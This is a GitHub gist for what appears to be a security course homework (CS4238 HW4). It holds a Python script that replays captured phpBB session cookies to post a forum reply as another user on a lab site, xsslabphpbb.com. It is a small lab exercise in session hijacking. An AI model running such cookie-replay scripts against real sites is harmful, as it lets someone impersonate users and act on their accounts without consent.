Created
November 24, 2018 12:50
-
-
Save jaysoncena/b6ec06cdf577b01a5ffc52e1db66f21c to your computer and use it in GitHub Desktop.
CS4238 HW4
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import datetime | |
import requests | |
cookies = { | |
'phpbb2mysql_data': 'a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D', | |
'phpbb2mysql_sid': '3710d7a0fb22e2763fc19ed2b2ef2842', | |
'phpbb2mysql_t': 'a%3A4%3A%7Bi%3A2%3Bi%3A1543061709%3Bi%3A3%3Bi%3A1543061714%3Bi%3A4%3Bi%3A1543061719%3Bi%3A5%3Bi%3A1543062076%3B%7D' | |
} | |
params = {} | |
headers = {} | |
post_payload = { | |
'subject': 'posted by script on subject @ {}'.format(datetime.datetime.now()), | |
'message': 'posted by script on body @ {}'.format(datetime.datetime.now()), | |
'mode': 'reply', | |
'sid': '3710d7a0fb22e2763fc19ed2b2ef2842', | |
't': 5, | |
'post': 'Submit' | |
} | |
r = requests.post('http://www.xsslabphpbb.com/posting.php', | |
data=post_payload, | |
cookies=cookies) | |
# dir(r) | |
print("Response code: {}".format(r.status_code)) | |
print("Response headers: {}".format(r.headers)) | |
print("Response body length: {}".format(len(r.text))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment